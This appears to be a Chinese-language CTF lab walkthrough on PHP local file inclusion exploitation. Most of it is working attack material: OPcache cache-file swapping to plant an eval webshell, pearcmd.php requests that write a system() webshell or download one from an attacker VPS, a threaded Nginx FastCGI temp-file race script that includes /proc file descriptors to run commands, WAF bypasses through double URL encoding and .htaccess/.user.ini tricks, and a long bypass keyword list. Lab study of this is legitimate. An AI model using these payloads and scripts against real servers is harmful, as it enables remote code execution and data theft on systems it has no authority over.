1 2 3 4 5 6 7 8 9 10 11 (venv) ubuntu@ubuntu24:~/test/php7-opcache-override$ python3 system_id_scraper.py http://192.168.8.133:8083/phpinfo.php PHP version : 7.0.33 Zend Extension ID : API320151012,NTS Zend Bin ID : BIN_SIZEOF_CHAR48888 Assuming x86_64 architecture ------------ System ID : 0b8bd94e9858e5d32d058dc0acf75014 PHP lower than 7.4 detected, an alternate Bin ID is possible: Alternate Zend Bin ID : BIN_148888 Alternate System ID : 888b1b2b3719b54e59f563400d7ce5f2 (venv) ubuntu@ubuntu24:~/test/php7-opcache-override$
我们可以发现使用这个脚本算出来的system id就是/tmp/0b8bd94e9858e5d32d058dc0acf75014缓存目录的路径
这样就又意思了
接下来我们在容器里面的web目录下面执行
1 echo '<?php @eval($_POST["a"]);?>' > shell.php
访问shell.php之后必然会有一个缓存文件
我们将原来的phpinfo.php.bin文件删除,替换为shell.php.bin
1 2 3 4 5 6 7 root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# ls phpinfo.php.bin shell.php.bin root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# rm phpinfo.php.bin root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# cp shell.php.bin phpinfo.php.bin root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html#chown www-data:www-data phpinfo.php.bin root@6a4877f91730:/tmp/0b8bd94e9858e5d32d058dc0acf75014/var/www/html# ls phpinfo.php.bin shell.php.bin
接下来我们就使用通过phpinfo这个页面执行webshell
这个是我们没有设置时间戳的复现,但是如果有时间戳怎么办
就得参考一下这个文章了PHP7/8 OPCACHE缓存文件导致的RCE - ( ゜- ゜)つロ
我们得使用010打开文件
可以很明显的发现图片上标红的位置是不一样的,这个位置就是时间戳
其实也很简单
这样改,修改为和phpinfo.php.bin一样的时间戳即可
注意在本地测试的时候需要使用这个命令修改一下
chown www-data:www-data phpinfo.php.bin
之后就可以直接访问了,结束
回到靶场环境 level 19
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php include ("get_flag.php" );function hello_ctf ($file ) { if ( $file === "phpinfo" ) { phpinfo (); exit ; } if ( preg_match ('/proc/i' , $file ) ) { die ("private" ); } $file = "/var/www/html/" . $file ; $content = file_get_contents ($file ); if ( !$content ) { die ("nothing" ); } if ( preg_match ("/script|<\?/i" , $content ) ) { die ("bypass me" ); } include_once $file ; } isset ($_GET ['file' ]) ? hello_ctf ($_GET ['file' ]) : '' ;highlight_file (__FILE__ );?>
不能使用上面那个题目的方法,使用刚刚那个题目的方法
首先访问flag.php
缓存目录下面有了flag.php.bin文件
然后访问(题目有提示缓存路径)
得到flag
这个特性就结束了,接下来继续
pearcmd.php妙用 这里有一篇专门研究这个的文章
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
在这里我只简要的讲一个这个漏洞产生的原因
在PHP中,有一个register_argc_argv指令。当它开启时(在Docker的PHP镜像中默认开启),HTTP请求的查询字符串(Query String)(即?之后的部分)会被PHP解析,并存入$_SERVER[‘argv’]数组中。更关键的是,它会以加号(+)作为参数分隔符,而不是常规的&。这就像是给Web环境装上了命令行参数解析器。
pearcmd.php是PEAR(PHP扩展与应用仓库)的核心文件,本质上是PEAR命令行工具的入口。在Docker环境中,它几乎总是存在的,路径通常是/usr/local/lib/php/pearcmd.php。当它被文件包含漏洞加载时,它内部的readPHPArgv函数会优先读取我们可控的$_SERVER[‘argv’]作为其命令行参数。
利用这个我们可以写入webshell
这里有两种写入webshell的方式
不懂?没事会用就行,下面开始使用
phpinclude_lab:level_20来到这个环境
文章里面有两个方式
方式一Config-Create
这是最常用且无需目标服务器出网的方法。它利用config-create命令,该命令的功能是接收两个参数:内容和文件路径,然后将内容写入指定文件。
可以使用的payload的是
1 ?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?= phpinfo ()?> +/tmp/shell.php
?+config-create+…:查询字符串部分,用于传递参数给pearcmd.php。
+config-create+:这是要执行的PEAR命令。开头的+用于跳过argv[0](即命令本身)。
=phpinfo()?>
:这将被写入文件的内容。你可以替换成任意PHP代码,如。
/tmp/shell.php:要写入的目标文件路径。通常选择有写权限的目录,如/tmp或网站根目录/var/www/html。
&file=…:这是文件包含的参数,指向pearcmd.php文件。
建议使用Burp Suite这类工具发送Payload
相信你看完和这个payload的解释之后还是有很多的疑问,这里做一些讲解
查询字符串(Query String)的参数,为什么会被传递给 pearcmd.php?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 查询字符串(Query String)的参数,为什么会被传递给 pearcmd.php? 核心原因是:PHP 的 register_argc_argv = On 会将整个查询字符串(? 后面的部分)按照“加号(+)分割”的方式,解析成一个参数数组,并赋值给 $_SERVER ['argv' ]。 当你通过文件包含漏洞包含 pearcmd.php 时,pearcmd.php 内部的 readPHPArgv() 函数会去读取 $_SERVER ['argv' ],从而“以为”自己是在命令行下被调用的,并把这些参数当成命令行参数来处理。 所以,参数并不是直接“指定”传递给 pearcmd.php,而是: 文件包含语句 ?file =/usr/local/lib/php/pearcmd.php 让 PHP 加载了这个文件。 同时,查询字符串中的其他部分(+config-create+...)被 PHP 自动解析成了 $_SERVER ['argv' ]。 pearcmd.php 内部读取 $_SERVER ['argv' ],就拿到了这些参数。 也就是说,file = 参数是用来选择要包含的文件;而查询字符串里的其他部分,是全局影响的,任何包含进来的脚本都可以通过 $_SERVER ['argv' ] 获取到它们。
config-create 的功能是不是创建文件?
1 2 config -create 的功能是不是创建文件? 是的,它的功能是“创建配置文件” —— 将第一个参数的内容写入到第二个参数指定的文件中。
好的现在回到环境,环境的代码很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ("get_flag.php" );function hello_ctf ($file ) { if (preg_match ("/file|http|ftp|zlib|data|glob|phar|ssh2|rar|ogg|expect|log|input|filter|log|tmp/i" , $file )){ die ("WAF" ); }else { include ($file ); } }highlight_file (__FILE__ );isset ($_POST ['file' ]) ? hello_ctf ($_POST ['file' ]) : phpinfo ();?>
不能使用伪协议,环境里面没有opcach,需要包含文件
于是我们尝试使用这个漏洞写入webshell
最好是使用burp发包,我们要避免get传输导致我们写入的内容被URL编码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /?+config-create+/<?=system($_GET['test']);?>+/var/www/html/shell.php HTTP/1.1 Host : 192.168.8.133:8123Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflate, brCookie : PHPSESSID=d6370b8c05802e42e407a94f59a778aeConnection : keep-aliveContent-Type : application/x-www-form-urlencodedContent-Length : 35file =/usr/ local/lib/ php/pearcmd.php
而且使用burp很方便
但是使用python也是可以的
这样写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import socketimport requests host = "192.168.8.133" port = 8123 path = "/?+config-create+/<?=system($_GET['test']);?>+/var/www/html/shell.php" request = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host} :{port} \r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: 35\r\n" "Connection: close\r\n" "\r\n" "file=/usr/local/lib/php/pearcmd.php" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(request.encode('latin-1' )) response = b"" while True : chunk = sock.recv(4096 ) if not chunk: break response += chunk sock.close()print (response.decode('utf-8' , errors='ignore' )) r = requests.get('http://192.168.8.133:8123/shell.php' ,params={'test' :'ls' })print (r.text)
使用socket套接字原始构造,不能使用requests发包,因为这样会URL编码
还有一种方式使用远程下载文件
方式二远程下载
当目标服务器可以出网时,这个方式会更直接,因为你可以让服务器直接从你的VPS下载一个现成的Webshell
1 ?+install+-R+/tmp+http://your-vps.com/shell.php&file=/usr/local/lib/php/pearcmd.php
-R参数执行下载目录
1 2 3 4 5 ?+install+-R+/var/www/html+http://10.10.109.40/shell.php post参数 file=/usr/local/lib/php/pearcmd.php
burp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 POST /?+install+-R+/var/www/html+http://10.10.109.40/shell.php HTTP/1.1 Host : 192.168.8.133:8123Cache-Control : max-age=0Accept-Language : zh-CN,zh;q=0.9Upgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding : gzip, deflate, brCookie : PHPSESSID=d6370b8c05802e42e407a94f59a778aeConnection : keep-aliveContent-Type : application/x-www-form-urlencodedContent-Length : 35file =/usr/ local/lib/ php/pearcmd.php
值得注意的是我们使用这个方法下载的文件路径是
1 /var/www/html/tmp/pear/download/shell.php
虽然我们指定的目录是-R+/var/www/html
但是还是会多创建一些文件夹/tmp/pear/download/
尝试使用python发包(比较的优雅)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import socketimport requests host = "192.168.8.133" port = 8123 path = "/?+install+-R+/var/www/html+http://10.10.109.40/shell.php" request = ( f"POST {path} HTTP/1.1\r\n" f"Host: {host} :{port} \r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: 35\r\n" "Connection: close\r\n" "\r\n" "file=/usr/local/lib/php/pearcmd.php" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock.send(request.encode('latin-1' )) response = b"" while True : chunk = sock.recv(4096 ) if not chunk: break response += chunk sock.close()print (response.decode('utf-8' , errors='ignore' )) r = requests.get('http://192.168.8.133:8123/tmp/pear/download/shell.php' ,params={'cmd' :'system("whoami");' })print (r.text)
Fastcgi产生临时文件 学习的文章https://tttang.com/archive/1384/
环境phpinclude_lab:level_22
看到环境代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php function HelloCTF_WAF ($file ) { if (preg_match ("/iconv/i" , $file )){ die ("WAF" ); }else { return $file ; } } ($_GET ['action' ] ?? 'read' ) === 'read' ? readfile (HelloCTF_WAF ($_GET ['file' ]) ?? 'index.php' ) : include_once (HelloCTF_WAF ($_GET ['file' ]) ?? 'index.php' );highlight_file (__FILE__ );?>
乍一看是不是很简单,就是使用别的过滤器绕过waf但是,我们看到环境的dockerfile文件内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 ubuntu@ubuntu24:~/docker/includer's revenge$ cat Dockerfile # Running locally: # 1) echo ' hxp{FLAG}' > flag.txt # 2) docker build -t includers_revenge . # 3) docker run -p 8088:80 --rm -it includers_revenge FROM debian:bullseye RUN DEBIAN_FRONTEND=noninteractive apt-get update && \ apt-get install -y \ nginx \ php-fpm \ && rm -rf /var/lib/apt/lists/ RUN rm -rf /var/www/html/* COPY docker-stuff/default /etc/nginx/sites-enabled/default COPY docker-stuff/www.conf /etc/php/7.4/fpm/pool.d/www.conf # # Permission # 7 rwx # 6 rw- # 5 r-x # 4 r-- # 3 -wx # 2 -w- # 1 --x # 0 --- COPY flag.txt docker-stuff/readflag / RUN chown 0:1337 /flag.txt /readflag && \ chmod 040 /flag.txt && \ chmod 2555 /readflag COPY index.php /var/www/html/ RUN chown -R root:root /var/www && \ find /var/www -type d -exec chmod 555 {} \; && \ find /var/www -type f -exec chmod 444 {} \; && \ chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \ chmod -R 000 /tmp /var/tmp /var/lib/php/sessions RUN ln -sf /dev/stdout /var/log/nginx/access.log && \ ln -sf /dev/stderr /var/log/nginx/error.log RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete USER www-data RUN (find --version && id --version && sed --version && grep --version) > /dev/null RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e ' s/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 ' ^(/dev/|/run /|/proc/|/sys/|/var/lock|/var/log/nginx/error.log|/var/log/nginx/access.log)' USER rootEXPOSE 80 CMD /etc/init.d/php7.4-fpm start && \ nginx -g ' daemon off;' ubuntu@ubuntu24:~/docker/includer's revenge$
可以看到对于文件权限的位置
1 2 3 4 5 RUN chown -R root:root /var/www && \ find /var/www -type d -exec chmod 555 {} \; && \ find /var/www -type f -exec chmod 444 {} \; && \ chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \ chmod -R 000 /tmp /var/tmp /var/lib/php/session
可以看到/tmp /var/tmp /var/lib/php/session目录设置为了不可读
在文章中寻找了一个新的出路
Nginx 在处理某些请求时,自己也会产生临时文件,而且这些文件的位置不在被禁写的目录里
当我们上传的内容非常大的时候,nginx的内存装不下的时候,nginx会/var/lib/nginx/fastcgi/这个目录下面创建一个临时文件
漏洞出自于这里
1 2 3 Nginx 创建临时文件后,会立刻把它删除(unlink ),但是文件句柄并没有关闭 在 Linux 中,如果一个文件被删除但仍有进程打开它,它仍然存在于 /proc/[pid]/fd/ 目录下(fd 是文件描述符) 例如:Nginx worker 进程 PID=1234,fd=5 对应一个已删除的临时文件,那么路径 /proc/1234/fd/5 依然可以读写这个文件的内容
好家伙是不是知道文件句柄就可以读取文件了
思路啊
所以我们的目标就是让 PHP 的 include 包含 /proc/1234/fd/5
但 PHP 的 include 会先调用 lstat() 检查文件是否存在。因为文件已经被删除,lstat() 会返回错误(ENOENT),直接包含会失败
我们还得绕过这个限制,在这里我们只需要知道可以用多层链接让 PHP 强制包含一个“已删除”的文件
最后就可以清楚了攻击方式
1 2 3 方法 A :请求一个很大的文件(比如 PHP 生成 1 MB 的字符串),让 FastCGI 响应超过 Nginx 内存缓冲阈值。 方法 B :发送一个很大的 POST 请求体(比如 Content -Length 为 100 MB),让 Nginx 把请求体存成临时文件。
原理已经简单的理解了
下面直接给出脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import requestsfrom threading import Thread nginx_workers = [] URL = "http://192.168.8.133:8125/" cpus = 0 done = False def send_data (): data = "<?php system($_GET['c']);echo 'me7eorite';?>" + "a" * 45008 while not done: requests.post(URL, data=data)def get_linux_cpus (): global cpus r = requests.get(URL, params={ 'file' : '/proc/cpuinfo' }) cpus = r.text.count('processor' )def get_nginx_pid (): for pid in range (1 , 200 ): r = requests.get(URL, params={ 'file' : f"/proc/{pid} /cmdline" }) if b'nginx: worker process' in r.content: nginx_workers.append(pid) if len (nginx_workers) >= cpus: break def get_file (pid ): global done for fd in range (4 , 40 ): payload = f"/proc/self/fd/{pid} /../../../{pid} /fd/{fd} " r = requests.get(URL, params={ 'file' : payload, 'c' : f'whoami' , 'action' : '1' }) if "me7eorite" in r.text: print (payload) print (r.text) done = True exit()if __name__ == "__main__" : get_linux_cpus() get_nginx_pid() print (f"cpus:{cpus} nginx_pid:{str (nginx_workers)} " ) for _ in range (1 , 16 ): print ("[*] start upload" ) t = Thread(target=send_data) t.start() for pid in nginx_workers: print ("start get" ) a = Thread(target=get_file, args=(pid,)) a.start()
设置好URL和payload就可以直接执行了
执行之后会这个代码就会不断的包含句柄的文件在文件删除之前写入webshell,然后执行得到结果
绕过 双重URL编码 看到服务端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include ("get_flag.php" );function hello_ctf ($file ) { if (preg_match ("/base|string/i" , $file )){ die ("WAF" ); }else { include ("php://filter/" .$file ); } }highlight_file (__FILE__ );isset ($_GET ['file' ]) ? hello_ctf ($_GET ['file' ]) : phpinfo ();?>
对于这个就是过滤了使用base64和rot13
但是我们还是可以使用别的编码操作的
这里可以思考一下为什么进行二次URL编码就可以绕过
1 2 3 4 5 6 7 8 9 10 WAF 检查的是 $_GET ['file' ] 经过一次 URL 解码后的值 你传入 ?file=convert.%2562 %2561 %2573 %...,PHP 自动解码一次,变成 convert.%62 %61 %73 %65 ...,这个字符串里没有出现 base 或 string (因为字母都被 %xx 替换了),所以 WAF 放行。 include 解析 filter 时会再次 URL 解码 php://filter 模块在解析过滤器名称时,会主动对百分号编码进行解码。于是 convert.%62 %61 %73 %65 ... 被解码为 convert.base64...,从而成功调用 base64 过滤器。 所以关键是使用iniclude可以自动进行一个URL解码
所以对base64-encode双重URL编码即可
1 ?file =convert.%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565/resource=flag.php
这里有一个要注意的地方,使用python的时候,request.get是会强制把我们输入的参数URL编码一次,所以我们在python中的payload只需要URL编码一次就可以达到URL编码两次的结果
双写绕过 服务端的代码如下
1 2 3 <?php include preg_replace ('/php/' , '' , $_GET ['file' ]);?>
直接执行
1 2 3 4 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.get(url,params={'file' :'pphphp://filter/convert.base64-encode/resource=flag.txt' })print (r.text)
大小写绕过 还是使用上面的那个代码
1 2 3 <?php include preg_replace ('/php/' , '' , $_GET ['file' ]);?>
这个是可以使用大小写绕过的
1 2 3 4 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.get(url,params={'file' :'phP://filter/convert.base64-encode/resource=flag.txt' })print (r.text)
但是服务端如果使用大小写区分则不行了
类似于下面这些代码
1 2 3 <?php include preg_replace ('/php/i' , '' , $_GET ['file' ]);?>
1 2 3 <?php include str_ireplace ('php' , '' , $_GET ['file' ]);?>
死亡函数新思路 死亡函数逻辑一
这一部分介绍死亡函数绕过的新思路,还有死亡函数设置的别的情况
在前面我们已经知道了绕过死亡函数可以使用过滤器绕过比如base64,rot13,iconv等等
但是现在我在这里介绍一个新的思路
服务端的代码如下
1 2 3 4 5 <?php $filename = $_GET ['file' ];$content = $_GET ['content' ];file_put_contents ($filename ,"<?php exit();" .$content );?>
注意哦这个代码和之前的死亡函数绕过的代码有一点点的不一样
这个代码是需要闭合死亡函数的
好的,那么如果不使用base64,不使用rot13,不使用iconv的话还能怎么操作呢?
答案是!使用.htaccess文件或者是使用.user.ini文件!
先看.htaccess文件用法
1 2 3 4 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.get(url,params={'file' :'php://filter/write=string.strip_tags/resource=.htaccess' ,'content' :'?>php_value auto_prepend_file flag.txt' })print (r.text)
我们可以看到使用的主要方法是写入文件内容,使用的是写入流
php://filter/write=string.strip_tags/resource=.htaccess这个是可以在当前目录下面创建一个.htaccess文件,学习过文件上传的都知道这个文件是一个当前目录的配置文件,可以制定一些规则
?>php_value auto_prepend_file flag.txt然后再看到这个内容,这个内容的前面?>是为了包裹死亡函数,是为了方便php伪协议filter/write=string.strip_tags识别到标签后取出死亡函数,后面的内容是.htaccess文件的配置选项php_value auto_prepend_file的作用是:在每个 PHP 脚本执行之前,自动将指定的文件包含进来,这样就很明白了,包裹的文件内容是会显示在页面上面的
但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器
使用.htaccess文件是立刻生效的,但是在使用这个方法 的时候会遇到一些环境问题,比如php的模式,httpd.conf文件的配置,这些都是要是配置的
当然学过文件上传的同学可以知道不止.htaccess文件可以利用,.user.ini文件也具有差不多的特性
1 2 3 4 import requests url = 'http://192.168.8.140:8899/include/1.php' r = requests.get(url,params={'file' :'php://filter/write=string.strip_tags/resource=.user.ini' ,'content' :'?>auto_prepend_file = flag.txt' })print (r.text)
意思是一样的
只是这个.user.ini文件是不会立刻生效的,.user.ini 的修改会在 5 分钟内自动生效
所以执行完之后要等一会
死亡函数逻辑二 逻辑一很好理解,但是如果服务端的代码逻辑是如下呢
1 2 3 4 <?php $content = $_GET ['content' ];file_put_contents ($content ,"<?php exit();" .$content );?>
对于这种情况我们还是可以使用.htaccess文件利用
payload如下
url解码之后的结果如下
.htaccess文件内容如下
1 2 php_value auto_prepend_file flag.txt
可以发现
?>php_value%20auto_prepend_file%20flag.txt%0a%23这个内容是夹在/write=string.strip_tags/与/resource=.htaccess之间的,实际上是php在读取的时候到了/write=string.strip_tags/就停止了,所以导致写入的文件内容是
1 2 php_value auto_prepend_file flag.txt
同理使用.user.ini文件也是可以的
payload如下
当然思路千千万
rot13也是可以的
usc-2也可以
1 2 通过usc-2 的编码进行转换;对目标字符串进行2 位一反转;(因为是两位一反转,所以字符的数目需要保持在偶数位上) payload:php:
usc-4也是可以的
1 2 3 4 活用convert.iconv。可以进行usc-4 编码转化;就是4 位一反转;类比可知,构造的shell代码应该是usc-4 中的4 倍数; 通过测试我们可以明确的看到确实是需要是4 的倍数才可以进行,否则会进行报错; payload:php:
file_put_content和死亡·杂糅代码之缘-先知社区
这个文章里面有两个方法是使用不了的
base64和utf-8与utf-7之间的转化
构造起来有点困难所以,哎………没有了后文
其实还没有结束
在做题目的时候会经常遇到一个情况,就是存在过滤,怎么办呢
下面我这里准备了一个字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 include include_once require require_once file_get_contents file_put_contents readfile file fopen fread fwrite fputs fscanf fgetcsv fgetss fpassthru parse_ini_file show_source highlight_file includ includ includee inc inc includ include include/. include/./. includ\./e inc../lude INCLUDE InClUdE incinclude includeinclude php pHp pHP Php PHP p pphphp phpphp phpPHP :// :\\ :/// :| :/ :\\\\ : : :/\ :\/ :// :///. :///./ input INPUT Input iNpUt inp in inp input input/. input/./. input\. inp../ut ininputput filter FILTER Filter fIltEr fil fi filt filt filter filter/. filter/./. filfilterter temp TEMP Temp tEmP te temp temp/. temp/./. tetempm memory MEMORY Memory mEmOrY mem memory memory/. memory/./. mememoryry resource RESOURCE Resource rEsOuRcE res reso resour resource resource/. resource/./. resresourceource data DATA Data dAtA da data data/. data/./. datadataa text TEXT Text tExT te text plain PLAIN Plain pLaIn pl plain base64 BASE64 Base64 bAsE64 base base64 base64/. base64/./. basebase6464 PD9waHAgcGhwaW5mbygpOz8+ PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4 string STRING String sTrInG str stri strin string string/. string/./. strstringing rot13 ROT13 Rot13 rOt13 ro rot1 rot13 rot13/. rot13/./. rorot13t13 toupper TOUPPER Toupper tOuPpEr to toupper toupper/. totoupperupper tolower TOLOWER Tolower tOlOwEr to tolower tolower/. totolowerlower strip_tags STRIP_TAGS Strip_Tags sTrIp_TaGs str strip_ strip_t strip_tag strip_tags strip_tags/. strip_tags/./. strstrip_tagsip_tags convert CONVERT Convert cOnVeRt con conv conver convert convert/. convert/./. convconvertvert iconv ICONV Iconv iCoNv ic ico icon iconv iconv/. iconv/./. iciconvonv zlib ZLIB Zlib zLiB zl zli zlib zlib/. zlib/./. zzliblib deflate DEFLATE Deflate dEfLaTe def defl defla deflate deflate/. deflate/./. dedeflateflate inflate INFLATE Inflate iNfLaTe inf infl infla inflate inflate/. inflate/./. ininflateflate bzip2 BZIP2 Bzip2 bZiP2 bz bzi bzip2 bzip2/. bzip2/./. bbzip2zip2 quoted_printable QUOTED_PRINTABLE Quoted_Printable qUoTeD_pRiNtAbLe quo quoted_ quoted_print quoted_printable quoted_printable/. quoted_printable/./. encode ENCODE Encode eNcOdE enc enco encod encode encode/. encode/./. enencodecode decode DECODE Decode dEcOdE dec deco decod decode decode/. decode/./. dedecodecode UCS-2 LE ucs-2 le UCS-2 le uCs-2 lE U UCS UCS- UCS-2 UCS-2 L UCS-2 LE UCS-2 LE/. UCS-2 LE/./. UCSUCS-2 LE-2 LE UCS-2 BE ucs-2 be UCS-2 be uCs-2 bE U UCS UCS- UCS-2 UCS-2 B UCS-2 BE UCS-2 BE/. UCS-2 BE/./. UCS-4 LE ucs-4 le UCS-4 le uCs-4 lE U UCS UCS- UCS-4 UCS-4 L UCS-4 LE UCS-4 LE/. UCS-4 LE/./. UCS-4 BE ucs-4 be UCS-4 be uCs-4 bE U UCS UCS- UCS-4 UCS-4 B UCS-4 BE UCS-4 BE/. UCS-4 BE/./. UTF-8 utf-8 UTF-8 uTf-8 U UTF UTF- UTF-8 UTF-8 /. UTF-8 /./. UUTF-8 TF-8 UTF-16 utf-16 UTF-16 uTf-16 U UTF UTF- UTF-16 UTF-16 /. UTF-16 /./. UUTF-16 TF-16 UTF-16 LE utf-16 le UTF-16 LE uTf-16 Le U UTF UTF-16 UTF-16 LE UTF-16 LE/. UTF-16 LE/./. UTF-16 BE utf-16 be UTF-16 BE uTf-16 Be U UTF UTF-16 UTF-16 BE UTF-16 BE/. UTF-16 BE/./. UTF-7 utf-7 UTF-7 uTf-7 U UTF UTF- UTF-7 UTF-7 /. UTF-7 /./. ASCII ascii ASCII aScIi A AS ASC ASCI ASCII ASCII/. ASCII/./. ASASCIIASCII GBK gbk GBK gBk G GB GBK GBK/. GBK/./. BIG5 big5 BIG5 bIg5 B BI BIG BIG5 BIG5/. BIG5/./. CP866 cp866 CP866 cP866 C CP CP8 CP86 CP866 CP866/. CP866/./. IBM869 ibm869 IBM869 iBm869 I IB IBM IBM8 IBM86 IBM869 IBM869/. IBM869/./. ISO-2022 -JP iso-2022 -jp ISO-2022 -JP iSo-2022 -Jp I ISO ISO- ISO-2022 -JP ISO-2022 -JP/. ISO-2022 -JP/./. proc PROC Proc pRoC pr pro proc proc/. proc/./. pprocc /proc /proc/ /proc/. /proc/./ /proc/ /proc /proc/ /pr /p self SELF Self sElF sel se sel self self/. self/./. sselff /self /self/ /self/. /self/./ /self/ /self /sel /s /s fd FD Fd fD f fd fd/. fd/./. ffdd /fd /fd/ /fd/. /fd/./ /fd/ /fd /f / / log LOG Log lOg 